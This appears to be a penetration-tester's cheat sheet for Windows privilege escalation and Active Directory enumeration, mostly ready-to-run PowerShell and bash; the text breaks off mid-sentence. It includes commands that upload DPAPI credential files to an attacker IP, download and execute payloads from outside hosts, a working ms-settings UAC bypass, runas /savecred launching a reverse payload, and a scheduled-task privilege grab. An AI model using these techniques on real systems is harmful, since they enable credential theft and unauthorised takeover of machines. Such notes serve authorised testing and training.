######## LPE/HOST ######## | | Dumb reminders | - Domain user can be member of a machine localgroup, you need to try to spread creds on differents protocols (rdp, wmi, smb, winrm, mssql ...) | - One user (domain or local) can probably access multiple machines | - Admins often leave creds cache on machines | - Code execution is not always the main objective, sometimes creds juste give a share access | **** Misc **** | https://book.hacktricks.xyz/v/fr/windows-hardening/basic-cmd-for-pentesters .. code-block:: powershell # Ensuring you run x64 powershell C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe # Misc infos about computer $CV=Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion";"";"Name: $([System.Environment]::MachineName)";"OS: $($CV.ProductName) ($($CV.CurrentBuild))";"Owner: $($CV.RegisteredOwner)";"Install: $([datetime]::FromFileTime($CV.InstallTime).ToString("dd MMMM yyyy"))";"Last KB: $((Get-ChildItem "C:\Windows\servicing\Packages\*_KB*.mum"|Sort LastWriteTime -Desc|Select -First 1).LastWriteTime.ToString("dd MMMM yyyy"))" # Infos about current session $SecurityPrinciple = New-Object -TypeName System.Security.Principal.WindowsPrincipal -ArgumentList ([System.Security.Principal.WindowsIdentity]::GetCurrent());$RolesHash = @{};[System.Enum]::GetNames("System.Security.Principal.WindowsBuiltInRole")|ForEach-Object{$RolesHash[$_]=$SecurityPrinciple.IsInRole([System.Security.Principal.WindowsBuiltInRole]::$_)};$RolesHash;[System.Security.Principal.WindowsIdentity]::GetCurrent();"Console: $($host.Name)";"Session: $((Get-Process -Id $PID).SessionId)";"Arch: $([System.Environment]::GetEnvironmentVariable("PROCESSOR_ARCHITECTURE"))" # Files ls / -Force ; ls /users/ ; ls /users/* ; ls /users/*/* ; ls /users/*/*/* # Recursively list current dir Get-ChildItem . -File -Recurse -ErrorAction SilentlyContinue -Force | Select Length, FullName |Out-String -width 999 Get-ChildItem . -File -Recurse -ErrorAction SilentlyContinue -Force | Where-Object {$_.LastWriteTime -ge "01/01/2024" -and $_.LastWriteTime -le "12/25/2029"} | Select Length, FullName, LastWriteTime |Out-String -width 999 CMD.EXE /C dir /s/b * # Recursively list Alternate Data Streams gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data' # Get-Content -path C:\users\mak\demo.txt:ads.txt -stream * # Recursively list writable files/folders (using ACL) $id=[Security.Principal.WindowsIdentity]::GetCurrent();$gr=($id.Groups|%{"$($_.Translate([Security.Principal.NTAccount]))"})+("$($id.Name)");$rl=("FullControl","AppendData","CreateFiles","Modify","Write");gci . -Recurse -ErrorAction SilentlyContinue -Force|%{$fn=$_.Fullname;(gi $fn).GetAccessControl().Access|%{If($gr.contains("$($_.IdentityReference)")-and($_.AccessControlType-eq"Allow")){"$($_.FileSystemRights)"-split", "|%{if($rl.contains($_)){$fn;$fn=$null}}}}} 2>$null # Get owner of a file or a folder get-item "C:\Windows"| Select-Object fullname, LastAccessTime, LastWriteTime, CreationTime, @{N='Owner';E={$_.GetAccessControl().Owner}} # PS history cat (Get-PSReadlineOption).HistorySavePath ls C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt # Search for files Get-ChildItem -Include proof.txt, local.txt, *.kdbx -Path / -Recurse -ErrorAction SilentlyContinue Get-ChildItem -Path C:\Users -Include *.kdbx,*.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.ini -File -Recurse -ErrorAction SilentlyContinue # Shares Get-SmbShare # List features (such as RSAT, ADCS-Cert-Authority) Get-WindowsFeature | Where-Object {$_.Installed -eq $true} | Format-Table Name, DisplayName, Description # Chromium based browsers storage powershell -c "ls '/Users/*/AppData/Local/*/*/*/*/Login Data'" # Firefox saved password powershell -c "ls '/Users/*/AppData/Roaming/*/*/Profiles/*/logins.json'" | .. code-block:: powershell # Users net user $lu=([ADSI]"WinNT://$env:COMPUTERNAME").Children|where{$_.SchemaClassName-eq'user'};$lu|%{"-"*50;"NAME "+$_.Name;"LAST $($_.LastLogin)";"DISABLED $($_.AccountDisabled)";$_.Groups()|%{"• "+$_.GetType().InvokeMember('Name','GetProperty',$null,$_,$null)}} 2>$null # Groups net localgroup "Administrators"; net localgroup "Remote Management Users" ; net localgroup "Remote Desktop Users" $lg=([ADSI]"WinNT://$env:COMPUTERNAME").Children|where{$_.SchemaClassName-eq'group'};$lg|%{"-"*50;$_.Name;$_.Invoke("Members")|%{" • "+$_.GetType().InvokeMember("ADsPath","GetProperty",$null,$_,$null)}} $lg=([ADSI]"WinNT://$env:COMPUTERNAME").Children|where{$_.SchemaClassName-eq'group'-and@('S-1-5-32-544','S-1-5-32-555','S-1-5-32-562','S-1-5-32-580')-contains(New-Object System.Security.Principal.SecurityIdentifier($_.objectSid[0],0)).Value};$lg|%{"-"*50;$_.Name;$_.Invoke("Members")|%{"• "+$_.GetType().InvokeMember("ADsPath","GetProperty",$null,$_,$null)}} # Creds cmdkey /list # Go to the creds part if any user here # TaskScheduler logs ?????? (last 10 events) CMD.EXE /C wevtutil.exe qe Microsoft-Windows-TaskScheduler/Operational /f:text /c:10 # PowerShell Script Block Logging (just list events by user) Get-WinEvent -FilterHashtable @{ logname = "*Operational"; id = 4104 } | select RecordId, TimeCreated, @{name='UserName';expression= {$_.UserId.Translate([System.Security.Principal.NTAccount])}}, MachineName, LevelDisplayName | Sort-Object -Property RecordId|Format-Table -AutoSize|Out-String -width 999 # PowerShell Script Block Logging (print all messages) Get-WinEvent -FilterHashtable @{ logname = "*Operational"; id = 4104 } | select RecordId, TimeCreated, @{name='UserName';expression= {$_.UserId.Translate([System.Security.Principal.NTAccount])}}, LevelDisplayName, MachineName, Message | Sort-Object -Property RecordId # Listening ports netstat -aon Get-NetTCPConnection -State Listen | select LocalPort, LocalAddress, OwningProcess | Sort-Object LocalPort | ConvertTo-Csv # Process [System.Diagnostics.Process]::GetCurrentProcess()|select * # Current process info [System.Diagnostics.Process]::GetProcesses()|where {$_.Path -notmatch "^$" -and $_.Company -notmatch "Microsoft*" -and $_.ProcessName -notmatch "svchost|msedge|Widgets|ShellExperience|msteams|StartMenu|SearchHost"} | Select ID,SI,Path|Format-Table -AutoSize|Out-String -width 9999 Get-WmiObject Win32_Process | where {$_.Path -notmatch "^$" -and $_.Company -notmatch "Microsoft*" -and $_.ProcessName -notmatch "svchost|msedge|Widgets|ShellExperience|msteams|StartMenu|SearchHost"} | Select ExecutablePath,@{Label="Owner";Expression={$_.GetOwner().User}},Handle,CommandLine|Format-Table -AutoSize|Out-String -width 9999 Get-WmiObject Win32_Process |Select name,@{Label="Owner";Expression={$_.GetOwner().User}},ProcessId,CommandLine|Format-Table -AutoSize|Out-String -width 9999 # Softs ls /program*/* Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*|Select-Object DisplayName,DisplayVersion,Publisher,InstallDate|Format-Table|Out-String -width 9999 Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*|Select-Object DisplayName,DisplayVersion,Publisher,InstallDate|Format-Table|Out-String -width 9999 Get-WmiObject -Class Win32_Product | select Vendor,Name,Version |Format-Table|Out-String -width 9999 # Tasks CMD /C "schtasks.exe /Query /FO CSV /V" | ConvertFrom-CSV | where{$_.Author-notmatch "Microsoft*|^$|SYSTEM|^*SystemRoot*|N/A|Author"}|ForEach-Object{"-"*100;$_}|Out-String -width 9999 Get-ScheduledTask|where{$_.Author-notmatch "Microsoft*|^$|SYSTEM|^*SystemRoot*"}|ForEach-Object{"-"*100;schtasks.exe /query /fo LIST /v /tn $_.URI}|Out-String -width 9999 #schtasks /create /sc minute /mo 60 /tn "TASK1" /tr "C:\test\r.exe" # /ru SYSTEM /RL HIGHEST #schtasks /run /tn "TASK1" #schtasks /delete /tn "TASK1" /f # Default programs for extensions types CMD /C Ftype # List of programs <> type CMD /C Assoc # List of extensions <> type | | Retrieve env from given process id : https://gitlab.com/charles.gargasson/divers/-/tree/master/getenv | *********** Domain info *********** | .. code-block:: powershell net user johndoe /domain net group /domain "Domain Admins" net group /domain "Protected Users" echo "$env:logonserver" 2>&1 Get-WmiObject -Namespace root\cimv2 -Class Win32_ComputerSystem | Select Name, Domain Get-WmiObject -Class Win32_NTDomain | select DomainControllerName, DomainControllerAddress, DomainName, DnsForestName Test-ComputerSecureChannel -Verbose # -Server "DC01.domain.com" | .. code-block:: powershell # Retrieve infos with LDAP queries $domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();$domainObj;$domainObj.DomainControllers | Foreach { Write-Host ... $_.Name ... $_.IPAddress } $LDAP = "LDAP://" + $domainObj.PdcRoleOwner.Name + "/" + ([adsi]'').distinguishedName $direntry = New-Object System.DirectoryServices.DirectoryEntry($LDAP) $dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry) $dirsearcher.filter="";$ALL = $dirsearcher.FindAll() $dirsearcher.filter="objectCategory=user";$users = $dirsearcher.FindAll() $dirsearcher.filter="objectCategory=group";$groups = $dirsearcher.FindAll() $dirsearcher.filter="objectCategory=computer";$computers = $dirsearcher.FindAll() $dirsearcher.filter="objectCategory=groupPolicyContainer";$GPOs = $dirsearcher.FindAll() $dirsearcher.filter="objectCategory=domainDNS";$domainDNS = $dirsearcher.FindAll() $dirsearcher.filter="(&(isCriticalSystemObject=TRUE))";$CriticalSystemObjects = $dirsearcher.FindAll() # Check Machine Account Quota (if > 0 you can try to perform RBCD attack based on added computer, protected users can't be impersonated) foreach ($obj in $domainDNS) { $quota = $obj.Properties["ms-ds-machineaccountquota"]; if ($quota -ne $Null ){ Write-Host $quota $obj.Path }} # Print user list $users.Properties.samaccountname # Print users and list groups if any, check for admincount property and read some userAccountControl flags. # userAccountControl flags list : https://learn.microsoft.com/en-us/windows/win32/api/iads/ne-iads-ads_user_flag_enum Foreach($obj in $users) { $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]; $state = "" $ADS_USER_FLAGS = @{ SCRIPT = 0x1; ACCOUNTDISABLE = 0x2; HOMEDIR_REQUIRED = 0x8; LOCKOUT = 0x10; PASSWD_NOTREQD = 0x20; PASSWD_CANT_CHANGE = 0x40; ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x80; TEMP_DUPLICATE_ACCOUNT = 0x100; INTERDOMAIN_TRUST_ACCOUNT = 0x800; WORKSTATION_TRUST_ACCOUNT = 0x1000; SERVER_TRUST_ACCOUNT = 0x2000; DONT_EXPIRE_PASSWD = 0x10000; MNS_LOGON_ACCOUNT = 0x20000; SMARTCARD_REQUIRED = 0x40000; TRUSTED_FOR_DELEGATION = 0x80000; NOT_DELEGATED = 0x100000; USE_DES_KEY_ONLY = 0x200000; DONT_REQUIRE_PREAUTH = 0x400000; PASSWORD_EXPIRED = 0x800000; TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 } foreach ($FLAG in $ADS_USER_FLAGS.Keys) { if ( [bool]($obj.Properties["userAccountControl"][0] -band $ADS_USER_FLAGS[$FLAG])){ $state += " $FLAG" } } if ( $obj.Properties['admincount'] -ne $null ){ $state += " ADMINCOUNT" } if ($name -ne $sam){ $name = "$sam --- $name" }; Write-Host "USERS# --- $name ---$state" -ForegroundColor Green $memberof = $obj.Properties['memberof'] ; $scriptPath = $obj.Properties['scriptPath'] if ( $memberof -ne $null){ $memberof | ForEach-Object { "USERS# $_" } } if ( $scriptPath -ne $null){ "USERS# LOGON SCRIPT: $scriptPath"}; "USERS# " } # Print populated groups, check for admincount property Foreach($obj in $groups) { $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]; $member = $obj.Properties['member']; $admincount = $obj.Properties['admincount'] if ( $admincount -ne $null ){ $admincount = "(ADMINCOUNT)" } if ( $member -ne $null){ if ($name -ne $sam){ $name = "$sam --- $name" } Write-Host "GROUPS# --- $name --- $admincount" -ForegroundColor Green $member | ForEach-Object { "GROUPS# $_" } -end { "GROUPS#" } } } # List computers with os version Foreach($obj in $computers) { $name = $obj.Properties['dnshostname']; $state = "" $FLAGS = @{ SCRIPT = 0x1; ACCOUNTDISABLE = 0x2; HOMEDIR_REQUIRED = 0x8; LOCKOUT = 0x10; PASSWD_NOTREQD = 0x20; PASSWD_CANT_CHANGE = 0x40; ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x80; TEMP_DUPLICATE_ACCOUNT = 0x100; INTERDOMAIN_TRUST_ACCOUNT = 0x800; WORKSTATION_TRUST_ACCOUNT = 0x1000; SERVER_TRUST_ACCOUNT = 0x2000; DONT_EXPIRE_PASSWD = 0x10000; MNS_LOGON_ACCOUNT = 0x20000; SMARTCARD_REQUIRED = 0x40000; TRUSTED_FOR_DELEGATION = 0x80000; NOT_DELEGATED = 0x100000; USE_DES_KEY_ONLY = 0x200000; DONT_REQUIRE_PREAUTH = 0x400000; PASSWORD_EXPIRED = 0x800000; TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 } foreach ($FLAG in $FLAGS.Keys) { if ( [bool]($obj.Properties["userAccountControl"][0] -band $FLAGS[$FLAG])){ $state += " $FLAG" } } if ( $obj.Properties['admincount'] -ne $null ){ $state += " ADMINCOUNT" } $os = $obj.Properties['operatingsystem']; $osversion = $obj.Properties['operatingsystemversion'] Write-Host "COMPUTERS# $name -- $os -- $osversion -- $state" } # List users SPNs (Users are Kerberoastable but you can also list others SPNs instead of users) foreach($obj in $users) { $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]; $serviceprincipalname = $obj.Properties['serviceprincipalname'] if ($serviceprincipalname -ne $null){ if ($name -ne $sam){ $name = "$sam --- $name" } Write-Host "SPN# --- $name --- " -ForegroundColor Green $serviceprincipalname | ForEach-Object { "SPN# $_" } -end { "SPN#" } } } # List unusual user flags (DONT_REQUIRE_PREAUTH flag means the account is AS REP Roastable) Foreach($obj in $users) { $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]; $state = "" $FLAGS = @{ PASSWD_NOTREQD = 0x20; ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x80; INTERDOMAIN_TRUST_ACCOUNT = 0x800; MNS_LOGON_ACCOUNT = 0x20000; SMARTCARD_REQUIRED = 0x40000; TRUSTED_FOR_DELEGATION = 0x80000; NOT_DELEGATED = 0x100000; USE_DES_KEY_ONLY = 0x200000; DONT_REQUIRE_PREAUTH = 0x400000; TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 } foreach ($FLAG in $FLAGS.Keys) { if ( [bool]($obj.Properties["userAccountControl"][0] -band $FLAGS[$FLAG])){ $state += " $FLAG" } } if ( (-not [bool]($obj.Properties["userAccountControl"][0] -band 0x100000)) -and ($obj.Properties['admincount'] -ne $null)){ $state += " DELEGATED_ADMIN" } #Delegated and admin if ( [bool]($obj.Properties["userAccountControl"][0] -band 0x2)){ continue } #Disabled if ($name -ne $sam){ $name = "$sam --- $name" } if ( $state -ne "" ){Write-Host "USERS# --- $name ---$state"} } # List unusual computer flags (if TRUSTED_FOR_DELEGATION and not a DC check for Unconstrained Delegation, and if TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION for constrained) Foreach($obj in $computers) { $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]; $state = "" $FLAGS = @{ ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x80; INTERDOMAIN_TRUST_ACCOUNT = 0x800; MNS_LOGON_ACCOUNT = 0x20000; SMARTCARD_REQUIRED = 0x40000; TRUSTED_FOR_DELEGATION = 0x80000; NOT_DELEGATED = 0x100000; USE_DES_KEY_ONLY = 0x200000; DONT_REQUIRE_PREAUTH = 0x400000; TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 } foreach ($FLAG in $FLAGS.Keys) { if ( [bool]($obj.Properties["userAccountControl"][0] -band $FLAGS[$FLAG])){ $state += " $FLAG" } } if ( [bool]($obj.Properties["userAccountControl"][0] -band 0x2)){ continue } #Disabled if ($name -ne "$sam".replace('$','')){ $name = "$sam --- $name" } if ( $state -ne "" ){Write-Host "COMPUTERS# --- $sam ---$state"} } # List ACLs, exclude CriticalSystemObjects, exclude Inherited, filter on domain objects $CriticalSystemObjectsSID = $CriticalSystemObjects | ForEach-Object { $sid = $_.Properties["objectSid"][0] ; if ($sid -ne $null){(New-Object System.Security.Principal.SecurityIdentifier($_.Properties["objectSid"][0],0)).Value }} $DomainObjects = $users + $computers + $groups + $GPOs $DomainObjectsSID = $DomainObjects | ForEach-Object { $sid = $_.Properties["objectSid"][0] ; if ($sid -ne $null){(New-Object System.Security.Principal.SecurityIdentifier($_.Properties["objectSid"][0],0)).Value }} Foreach($obj in $DomainObjects) { $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"] $aclList = (New-Object System.DirectoryServices.DirectoryEntry($obj.Path)).PSBase.ObjectSecurity.GetAccessRules($true, $false, [System.Security.Principal.SecurityIdentifier]) $Identities = @{}; foreach($ACL in $aclList){try{ if ( $CriticalSystemObjectsSID.Contains($ACL.IdentityReference.Value) ){ continue } if ( -Not $DomainObjectsSID.Contains($ACL.IdentityReference.Value) ){ continue } $Identity = (New-Object System.Security.Principal.SecurityIdentifier($ACL.IdentityReference)).Translate([System.Security.Principal.NTAccount]).Value $Rights = $ACL.ActiveDirectoryRights ; $Rights = "$Rights".replace(" ","").Split(",") if ( $Identities["$Identity"] -eq $Null ){ $Identities["$Identity"] = @($Rights) } else { $Identities["$Identity"] += $Rights } }catch{}} ; if ($name -ne "$sam".replace('$','')){ $name = "$sam --- $name" } foreach ($Identity in $Identities.Keys) { Write-host "ACE# -- $sam <-- $Identity ($(($Identities.$Identity|Sort-Object -Unique) -join ", "))"} } # List GPOs $GPOs | ForEach-Object { $p=$_.Properties; $r = "GPO# $($p.name) -- $($p.displayname) -- Created $($p.whencreated)"; $r = [string]::join("",($r.Split("`n"))); Write-host $r } # List GPOs by object in domain Foreach($obj in $ALL) { $gplink = $obj.Properties.gplink; if ( $gplink -eq $null ){ continue } $gpoptions = $obj.Properties.gpoptions $name = $obj.Properties["name"]; $desc = $obj.Properties["description"]; $dn = $obj.Properties["distinguishedname"]; $category = $obj.Properties["objectCategory"] Write-host "GPO# -- $name -- $desc -- $dn -- $category -- gpoptions:'$gpoptions'" -ForegroundColor Green $gplink | ForEach-Object { $_ -match ".*({.*}).*;(\w+)"| Out-Null; $gpoid = $matches[1]; $status = $matches[2] $statusdesc = switch($status){0{"LinkEnabled"}1{"LinkDisabled"}2{"LinkEnabled Enforced"}3{"Enforced"}} $GPOs | ForEach-Object { if ( $_.Properties.name -eq $gpoid ){$gpodisplayname = $_.Properties.displayname}} Write-host "GPO# GPO: $gpoid -- $status=$statusdesc -- $gpodisplayname" } -end { "GPO#" } } # List SYSVOL shares files of Domain Controllers (you can search for cpassword inside files) foreach ($Server in $domainObj.DomainControllers.Name){ $c=[System.Net.Sockets.TcpClient]::new();if($c.ConnectAsync($Server,445).Wait(300)){$c.Close()}else{continue} Get-ChildItem "\\$Server\SYSVOL\$($domainObj.Name)" -File -Recurse -ErrorAction SilentlyContinue -Force | Select Length, FullName |Out-String -width 999 } # List Shares (test 445 for each computer with 300ms timeout, list shares and check if readable/writable) foreach ($Server in $computers.Properties.dnshostname){ $c=[System.Net.Sockets.TcpClient]::new();if($c.ConnectAsync($Server,445).Wait(300)){$c.Close()}else{continue} (net view $Server /all)|foreach{$infos=convertfrom-string $_.trim() -delim '\s{2,}' -propertynames 'Share','Type','UsedAs','Comment'; if($infos.Type -eq 'Disk'){$shareName=$infos.Share;$state=""; if([System.IO.Directory]::Exists("\\$Server\$shareName")){$state+="R"}else{$state+="-"} $f="\\$Server\$shareName\testwritable";Try{[io.file]::OpenWrite($f).close();Remove-Item $f;$state+="W"}Catch{$state+="-"} Write-Host " $state \\$Server\$shareName ## $($infos.UsedAs) $($infos.Comment)"}} } # List sorted lastlogon $lastlogon=@{};$users|%{$ll=$_.Properties["lastlogon"][0];if($ll-ne$null){$lastlogon[$_.Properties["samaccountname"][0]]=[datetime]::FromFileTimeUtc($ll)}};$lastlogon.GetEnumerator()|sort Value-Descending | | ***** Creds ***** SavedCreds ********** | You can list saved credentials with cmdkey command .. code-block:: powershell cmdkey /list | If you find interesting entries such as "DOMAIN.HTB\\USER_ADM", | you can probably start a process as another user with built-in runas command.(https://juggernaut-sec.com/runas/) | (runas is designed for interactive logins and requires a user session, WinRM operates over the network and does not support interactive authentication) .. code-block:: powershell runas /user:DOMAIN\Administrator /savecred "cmd.exe /c whoami > c:\whoami.txt" runas /user:DOMAIN\Administrator /savecred "c:\reverse\payload.exe" | DPAPI ***** | DPAPI blobs (secrets) are encrypted with Master keys. | Master keys are encrypted with user's password/nthash and SID. | First of all we search for blobs (32 chars files such as C4BB96844A5C9DD45D5B6A9859252BA6) .. code-block:: powershell Get-ChildItem -force "C:\users\*\appdata\roaming\microsoft\credentials\*" -ErrorAction SilentlyContinue | Then we search for Master keys (36 chars files such as 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b) | And SID folder name (such as S-1-5-21-4024337825-2033394866-2055507597-1115) .. code-block:: powershell Get-ChildItem -force "C:\users\*\appdata\roaming\microsoft\protect\*" -ErrorAction SilentlyContinue Get-ChildItem -force "C:\users\*\appdata\roaming\microsoft\protect\*\*" -ErrorAction SilentlyContinue | We will use impacket dpapi.py script on attacker side, so we retrieve all files (using postdl tool https://github.com/charlesgargasson/postdl) .. code-block:: powershell $URL="http://10.10.14.48:8080/" cd ~/appdata/roaming/microsoft Get-ChildItem -File -Recurse -force credentials, protect | %{(New-Object System.Net.WebClient).UploadFile($URL,$_.FullName)} | We read blob file infos to retrieve the MasterKey Guid .. code-block:: bash dpapi.py credential -file C4BB96844A5C9DD45D5B6A9859252BA6 [...] Guid MasterKey : 99CF41A3-A552-4CF7-A8D7-ACA2D6F7339B | We decrypt the MasterKey file using SID and password .. code-block:: bash dpapi.py masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password AmazingPass [...] Decrypted key: 0xHEXA[...] | We decrypt the blob file using the MasterKey .. code-block:: bash dpapi.py credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xHEXA[...] [CREDENTIAL] LastWritten : 2024-06-07 15:08:23 Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE) Type : 0x00000001 (CRED_TYPE_GENERIC) Target : LegacyGeneric:target=admin_acc Description : Unknown : Username : mydomain\user_adm Unknown : SuperADMPassword123 | RunAS ***** | RunasCs "is an improved and open version of windows builtin runas.exe that solves some limitations" | https://github.com/antonioCoco/RunasCs | https://dl.offensive.run/RunasCs.exe .. code-block:: powershell wget 1.2.3.4/RunasCs.exe -O RunasCs.exe ./RunasCs.exe user 'password' -d "domain" "whoami /all" | Powershell can use credentials as well .. code-block:: powershell # powershell -ep bypass $user = 'JohnDoe' $pass = 'JohnDoePassword' $cmd = '-c "whoami /all"' $shell = 'POWERSHELL.EXE' $domain = hostname # Modify if any or distant machine name $passwd = ConvertTo-SecureString $pass -AsPlaintext -Force $cred = New-Object System.Management.Automation.PSCredential("$domain\$user", $passwd) # No output # Start-Process -FilePath $shell -Credential $cred -ArgumentList $cmd # or retrieve stdout & stderr $pinfo = New-Object System.Diagnostics.ProcessStartInfo $pinfo.FileName = $shell $pinfo.UserName = $user $pinfo.Domain = $domain $pinfo.Password = ConvertTo-SecureString $pass -AsPlaintext -Force $pinfo.RedirectStandardError = $true $pinfo.RedirectStandardOutput = $true $pinfo.UseShellExecute = $false $pinfo.CreateNoWindow = $true $pinfo.Arguments = $cmd $pinfo.WorkingDirectory = 'C:\' $p = New-Object System.Diagnostics.Process $p.StartInfo = $pinfo $p.Start() | Out-Null $stdout = $p.StandardOutput.ReadToEnd() $stderr = $p.StandardError.ReadToEnd() $p.WaitForExit() Write-Host "stdout: $stdout" Write-Host "stderr: $stderr" Write-Host "exit code: " + $p.ExitCode | WinRM ***** | Start process as another user with WinRM protocol (localhost or remote target) | User must be part of "Remote Management Users" group .. code-block:: powershell $user = 'JohnDoe' $pass = 'JohnDoePassword' $domain = hostname # Modify if !self $machine = hostname # Modify if !self Test-WsMan $machine # Test is WINRM service is available $passwd = ConvertTo-SecureString $pass -AsPlaintext -Force $cred = New-Object System.Management.Automation.PSCredential("$domain\$user", $passwd) $session = New-PSSession -ComputerName $machine -Credential $cred Get-PSSession # List sessions Enter-PSSession -session $session # Interactive PS session (PS commands only) # Invoke-Command -session $session -scriptblock { whoami /all } # Invoke-Command -session $session -scriptblock { powershell -c "ls" } # Exit-PSSession # exit 0 # Remove-PSSession $session | ******** Services ******** .. code-block:: powershell # List services Get-CimInstance -ClassName win32_service|Select Name,State,StartMode,StartName,PathName|Format-Table|Out-String -width 999|findstr /i /v /c:"\Windows" /c:"\Microsoft" # If you don't have rights you can play with registry $d='c:\services\';mkdir $d;(Get-ChildItem 'HKLM:\SYSTEM\CurrentControlSet\Services')|ForEach-Object{if($_.Property -match 'ImagePath'){$f=$d+$_.PSChildName;($_|Out-String)-split[Environment]::NewLine|Select-String -Pattern '^.*\s([a-z]+\s+\: .*)$'|ForEach-Object{$_.matches.groups[1].Value}|Out-File $f}};Get-ChildItem $d # Retrieve infos about service sc.exe qc "MyService" sc.exe query "MyService" $svc="MyService";$r=sc.exe sdshow $svc;$r=ConvertFrom-SddlString "$r";%{$r.DiscretionaryAcl-replace": AccessAllowed \(|, |\)","`n`t"} # Permissions | check for unquoted path : | If you see unquoted path : C:\\dir\\a b\\c.exe instead of "C:\\dir\\a b\\c.exe" | The system will try C:\\dir\\a.exe path first before "C:\\dir\\a b\\c.exe" | If C:\\dir\\ is writable then you can add your payload at C:\\dir\\a.exe | (BTW folders created into C:\\ have extended rights by default) .. code-block:: powershell # Check if "C:\dir\" is writable, F (full access), AD (append data/add subdirectory), WD (write data/add file) icacls "C:\dir\" | Put a payload at "C:\\dir\\a.exe" | Then start the service .. code-block:: powershell # Start service sc.exe start "MyService" | | DLL Hijaking : https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dll-hijacking | Look for dll you can replace (existing or missing ones) | Export the service PE file to your machine for investigation. | You can dynamically search for missing DLL with procmon, or statically search for DLL names into text section with rz-bin .. code-block:: bash rz-bin -zzz /tmp/share/myservice.exe | grep -i dll | *** UAC *** Checks ****** | UAC bypass will elevate from MEDIUM integrity level to HIGH | https://book.hacktricks.xyz/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control | You can check your integrity level with whoami /groups | For example if you are member of "Mandatory Label\Medium Mandatory Level" group you are in a medium integrity process | | You can also check the SID number instead of the name .. code-block:: powershell CMD.EXE /C whoami /groups|Select-String -Pattern '^.*S-1-16-([0-9]*).*$'|%{Switch($_.matches.groups[1]){0{"UNTRUSTED"}4096{"LOW"}8192{"MEDIUM"}8448{"MEDIUMPLUS"}12288{"HIGH"}16384{"SYSTEM"}20480{"PROTECTEDPROCESS"}}} | | Then, check UAC status: .. code-block:: powershell # 0x1 = UAC Enabled REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA # UAC mode : 5=default will prompt to confirm, 0 = Disabled, 1=Ask for password REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin # If set, disable UAC for: 0=RID500, 1=Administrators members REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v LocalAccountTokenFilterPolicy # If 0 (default), the built-in Administrator account can do remote administration tasks and if 1 the built-in account Administrator cannot do remote administration tasks, unless LocalAccountTokenFilterPolicy is set to 1. REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v FilterAdministratorToken | If UAC doen't affect you, then you can already run as admin .. code-block:: powershell mkdir c:\r ; wget 10.10.14.121/r.exe -O C:\r\r.exe Start-Process powershell -Verb runAs "c:\r\r.exe" | Bypass ****** | Use case: | You are into the administrators group but your session is in medium level integrity | You want to open an admin terminal or run a command as admin (High integrity) | | https://github.com/blue0x1/uac-bypass-oneliners | https://github.com/charlesgargasson/goback .. code-block:: bash reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "c:\r\r.exe" /f mkdir c:\r ; wget 10.10.14.121/r.exe -O C:\r\r.exe ; CMD.EXE /C start computerdefaults.exe | ********* AV Bypass ********* | https://github.com/charlesgargasson/houdipy ***** Users ***** Local Service ************* | If you are running as "nt authority\local service" user, | you should be able to grant yourself SeImpersonatePrivilege rights using a scheduled task | https://itm4n.github.io/localservice-privileges/ | https://github.com/itm4n/FullPowers .. code-block:: powershell # Payload, replace with your own $TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep bypass -e BASE64PAYLOAD" [System.String[]]$Privs = "SeImpersonatePrivilege" $TaskPrincipal = New-ScheduledTaskPrincipal -UserId "LOCALSERVICE" -LogonType ServiceAccount -RequiredPrivilege $Privs Register-ScheduledTask -Action $TaskAction -TaskName "ElevateMePlease" -Principal $TaskPrincipal Start-ScheduledTask -TaskName "ElevateMePlease" Unregister-ScheduledTask -TaskName 'ElevateMePlease' -Confirm:$false | Then you can follow SeImpersonate exploitation path to privesc | ********** Privileges ********** SeDebugPrivilege **************** | This privilege allow to debug other processes, including read and write access to memory (ex: LSASS) | You can start processes using privileges of others users with gopi | https://github.com/charlesgargasson/gopi .. code-block:: powershell # List other processes gopi.exe list # Impersonate process's access to run a command (With UpdateProcThreadAttribute or Token 